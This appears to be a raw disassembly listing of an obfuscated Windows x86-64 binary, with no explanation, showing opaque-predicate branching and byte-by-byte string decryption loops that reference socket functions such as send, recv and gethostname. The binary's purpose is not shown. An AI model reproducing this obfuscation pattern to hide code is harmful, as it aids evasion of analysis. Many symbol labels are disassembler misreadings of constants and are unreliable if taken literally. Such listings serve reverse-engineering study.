cmp r9, rbx
ja 0x1400842ab
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14008358c
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x56
jmp 0x1400835d3
je 0x140084221
lea rax, [r8 + 2]
cmp r9, rax
je 0x140084186
lea rax, [r8 + 4]
cmp r9, rax
je 0x14008414a
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400840fb
lea rax, [r8 + 7]
cmp r9, rax
je 0x1400840d0
lea rax, [r8 + 9]
cmp r9, rax
je 0x14008407b
cmp r8, rbx
ja 0x1400842a2
lea rax, [r8 + 0x64]
cmp r9, rax
jae 0x1400835fd
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x140083630
lea rax, [r8 + 1]
cmp r9, rax
je 0x140084055
lea rax, [r8 + 2]
cmp r9, rax
je 0x14008402b
lea rax, [r8 + 3]
cmp r9, rax
je 0x140084002
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140083c7c
nop dword [rax]
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x140083c53
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x140083c21
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x140083bf7
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x140083bce
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x140083ba5
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x140083b71
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x140083b48
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x140083b1f
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x140083ae9
lea r9, [r8 + 6]
lea r8, [r9 + 0x40]
lea rax, [r8 + 4]
cmp r9, rax
jb 0x14008427e
lea rax, [r8 + 2]
cmp r9, rax
jb 0x140084255
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x140083812
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x1400837f7
lea rax, [r8 + 5]
cmp r9, rax
jb 0x1400837d7
lea rax, [r8 + 3]
cmp r9, rax
jb 0x140083a87
lea rax, [r8 + 1]
cmp r9, rax
jb 0x140083a28
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x1400839d4
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x1400839a4
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x140083640
lea r9, [r8 + 0x20]
lea r8, [r9 + 2]
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x14008396f
lea rax, [r8 + 8]
cmp r9, rax
ja 0x140083946
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x140083922
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x1400838ee
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x1400838da
lea rax, [r8 + 9]
cmp r9, rax
ja 0x1400838b5
lea rax, [r8 + 6]
cmp r9, rax
ja 0x14008388a
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x140083858
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x140083830
lea r9, [r8 + 0x2a]
lea r8, [r9 + 8]
jmp 0x140083640
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140083630
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
jmp 0x1400835d3
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x5a
add r10b, dl
jmp 0x140083555
movabs rdx, 0xe44a82ce06dd8810
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x70
add r10b, dl
jmp 0x14008409a
movabs rdx, 0xb3dbe8dddc1df11c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x140083542
movabs rcx, 0x836d4eedb15e5a28
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
dec rbx
inc rbx
jmp 0x140083542
movabs rdx, 0x52feb4fd869ec334
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
jmp 0x14008411b
movabs rdx, 0x22901b0d5bdf2c40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140084159
movabs rcx, 0xf221811d311f954c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140083542
movabs rcx, 0xc1b2e72d065ffe58
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x1400841a7
movabs rdx, 0x91444d3cdba06764
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400841db
movabs rcx, 0x60d5b34cb0e0d070
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140083542
movabs rcx, 0x67c132744601d70e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x62
mov byte [rbp + rbx + 0xdc0], r10b
inc rbx
jmp 0x140083542
movabs rdx, 0x375298841b42401a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r8, 0x41
jb 0x1400839c4
movabs rcx, 0xa608aad8842b129c
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14008409a
movabs rcx, 0x6e3fe93f082a926
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
cmp r9, 0xa
jae 0x140083fa3
lea rax, [r8 + 0x2a]
cmp r9, rax
jbe 0x140083ece
movabs rdx, 0xc1b6a776d8af2d14
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400839f8
movabs rdx, 0xd67564a3c5c31232
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5e
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 4
je 0x140083fd1
lea rax, [r8 + 0x20]
cmp r9, rax
jbe 0x140083db5
movabs rcx, 0x452d571d17d37c12
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
jmp 0x140083a47
movabs rcx, 0xeb37e21a8526260c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x54
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140083542
movabs rdx, 0xbac9482a5a668f18
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400841db
movabs rdx, 0x8a5aae3a2fa6f824
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400841a7
movabs rcx, 0x59ec144a04e76130
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140083542
movabs rdx, 0x297d7a59da27ca3c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008416e
movabs rdx, 0xf90ee069af683348
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008411e
movabs rcx, 0xc8a0467984a89c54
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
dec rbx
inc rbx
jmp 0x140083542
movabs rdx, 0x9831ac8959e90560
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r8
dec rbx
inc rbx
jmp 0x140083542
movabs rdx, 0x67c312992f296e6c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008409a
lea rax, [r8 + 0x40]
cmp r9, rax
jae 0x140083ca0
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x140083aaa
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140083cde
movabs rcx, 0xf912a0b381b76204
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140083542
inc rax
cmp r9, rax
jne 0x140083d1b
movabs rcx, 0x8a5e6e8401f626e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140083542
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140083d49
movabs rdx, 0xeb3ba264577554c8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
jmp 0x14008411b
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140083d84
movabs rdx, 0x4c18d644acf482b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x140083542
lea rax, [r8 + 6]
cmp r9, rax
jne 0x140083aaa
movabs rcx, 0x7c877034d7b419a4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x14008409a
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140083de2
movabs rcx, 0x759bf10d42931306
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
jmp 0x14008409a
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140083e14
movabs rdx, 0x375658cded916ed6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008416e
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140083e56
movabs rdx, 0x67c4f2be185105ca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140083542
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140083e87
movabs rdx, 0x98338cae43109cbe
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x32
add r10b, dl
jmp 0x1400841a7
lea rax, [r8 + 6]
cmp r9, rax
jne 0x140083a47
movabs rdx, 0xf910c08e988fcaa6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140083542
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140083f0d
movabs rcx, 0xf2254167036ec408
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x38
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140083542
inc rax
cmp r9, rax
jne 0x140083f3e
movabs rdx, 0x2293db572e2e5afc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400841db
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140083f70
movabs rdx, 0x5302754758edf1f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400841a7
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400839f8
movabs rdx, 0xe44e4317d92cb6cc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008411b
movabs rdx, 0xd67744c8aeeaa990
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xdc0]
add r10b, r11b
jmp 0x14008411b
movabs rdx, 0x6e5deb8d9aa4084
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xdc0]
add r10b, r11b
add r10b, dl
jmp 0x1400841a7
movabs rdx, 0xcf8f85eaec18d1ae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400841a7
movabs rcx, 0xdd51e2a411a75de
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
dec rbx
inc rbx
jmp 0x140083542
movabs rdx, 0xacf7ea49eb9b47f6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008409a
movabs rcx, 0x4c1ab669961c1a0e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
movabs rdx, 0x3e3ff7d0998ade16
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xdc0], cl
inc r8
dec rbx
inc rbx
jmp 0x140083542
movabs rcx, 0xeb3d8289409cec26
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xa
dec rbx
inc rbx
jmp 0x140083542
movabs rdx, 0xbacee89915dd5532
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5e
add r10b, dl
movabs rdx, 0x6eae91c0c44a750a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x46
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xdc0], cl
jmp 0x14008416e
movabs rdx, 0x8a604ea8eb1dbe3e
mov ecx, Ordinal_41
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140083542
mov r11, rdx
movabs rcx, 0x29831ac8959e9056
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x5a
movabs rdx, 0x9f1d2bb0ef0a0bfe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xdc0], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0x375478a90469d778
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x48
add cl, r11b
mov byte [rbp + rbx + 0xdc0], cl
inc r9
mov rax, r12
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140083542
movabs rcx, 0xc8a5e6e8401f626e
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 2
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140083542
movabs rdx, 0x14bafce31ac4b662
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140083540
movabs rcx, 0xe44c62f2f0051f6e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x140083530
lea r14, [rbp + 0x15cc3b8]
jmp 0x1400842bb
lea r14, [rbp + 0x17c8f32]
jmp 0x1400842bb
lea r14, [rbp + 0xdc0]
lea rdx, [0x140226110]
lea rcx, [rbp + 0x628]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 8]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a2a12
mov byte [rbp + 0xde8], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xde9], Ordinal_45
mov byte [rbp + 0xdea], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xdeb], Ordinal_45
mov byte [rbp + 0xdec], 0x55
mov byte [rbp + 0xded], Ordinal_45
mov byte [rbp + 0xdee], 0x55
mov byte [rbp + 0xdef], 0x52
mov byte [rbp + 0xdf0], 0xa8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdf1], xmm0
mov qword [rbp + 0xe01], rax
mov word [rbp + 0xe09], ax
movabs r15, 0x76d32be2ba46b188
movabs r13, 0xedefa8939404af78
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rdx, 0x2a3ad153f07d4568
cmp rdi, 0x23
jae 0x140085186
movzx ebx, byte [rbp + rdi + 0xde8]
mov r10, rbx
cmp r8, rdi
ja 0x14008517d
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400843dd
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x28
jmp 0x140084424
je 0x1400850ef
lea rax, [r9 + 2]
cmp r8, rax
je 0x140085056
lea rax, [rcx + 1]
cmp r8, rax
je 0x140085020
lea rax, [r9 + 7]
cmp r8, rax
je 0x140084ff2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140084fc6
lea rax, [r9 + 5]
cmp r8, rax
je 0x140084f74
cmp r9, rdi
ja 0x140085174
lea rax, [r9 + 3]
cmp r8, rax
jae 0x140084452
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140084490
lea rax, [r9 + 1]
cmp r8, rax
je 0x140084f54
inc rax
cmp r8, rax
je 0x140084f28
lea rax, [r9 + 3]
cmp r8, rax
je 0x140084f14
lea rax, [r9 + 2]
cmp r8, rax
je 0x140084edb
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140084b07
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140084adf
lea rax, [r9 + 9]
cmp r8, rax
je 0x140084ab3
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140084a8a
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140084a68
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140084a40
lea rax, [r9 + 2]
cmp r8, rax
je 0x140084a0d
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400849e5
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400849bd
lea rax, [r9 + 6]
cmp r8, rax
je 0x140084989
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400844a0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14008514c
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140085129
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400846a1
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140084679
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14008465b
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140084927
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400848c6
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140084876
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140084848
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400844a0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140084814
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400847ec
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400847c4
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140084791
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140084772
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140084750
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140084727
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400846fb
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400846d3
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400844a0
lea r8, [r9 + 3]
lea r9, [r8 + 0x41]
jmp 0x1400844a0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x140084490
movabs rdx, 0x997a05ebb30a24a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140084424
movabs rdx, 0x45046343d20f99d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x2a3ad153f07d4568
jmp 0x1400843ae
movabs rdx, 0xb6995f15d2358c40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140084f92
movabs rcx, 0x6223bc6df13b0170
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
inc r9
dec rdi
inc rdi
jmp 0x140084392
movabs rcx, 0xdae19c6104076a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x140084392
movabs rdx, 0xb938771e2f45ebd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140084e78
movabs rcx, 0x64c2d4764e4b6100
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
jmp 0x14008503e
movabs rcx, 0x104d31ce6d50d630
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140084392
movabs rdx, 0xbbd78f268c564b60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008507d
movabs rdx, 0x6761ec7eab5bc090
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400850ab
movabs rcx, 0x12ec49d6ca6135c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084392
movabs rcx, 0x3fc6333317eedab8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 8
mov byte [rbp + rdi + 0xde8], r11b
inc rdi
jmp 0x140084392
movabs rdx, 0xeb50908b36f44fe8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
add r11b, dl
cmp r9, 0x64
jb 0x140084866
movabs rdx, 0xd36f6771d1e9a770
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x20]
jmp 0x140084f92
movabs rdx, 0x96daede355f9c518
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 0x3e8
jae 0x140084e53
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140084d52
movabs rdx, 0x86d70ce308203b50
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
jmp 0x140084895
movabs rdx, 0x42654b3b74ff3a48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x28
je 0x140084eac
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140084bff
movabs rdx, 0x1003e1004dd989c8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x78
jmp 0x1400848e6
movabs rcx, 0xc8f307505da82930
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084392
movabs rdx, 0x747d64a87cad9e60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400850ab
movabs rdx, 0x2007c2009bb31390
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008507d
movabs rcx, 0xcb921f58bab888c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140084392
movabs rdx, 0x771c7cb0d9bdfdf0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008503e
movabs rdx, 0x22a6da08f8c37320
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140084e78
movabs rcx, 0xce31376117c8e850
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
dec rdi
inc rdi
jmp 0x140084392
movabs rcx, 0x79bb94b936ce5d80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x140084392
movabs rdx, 0x2545f21155d3d2b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140084f92
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140084b2c
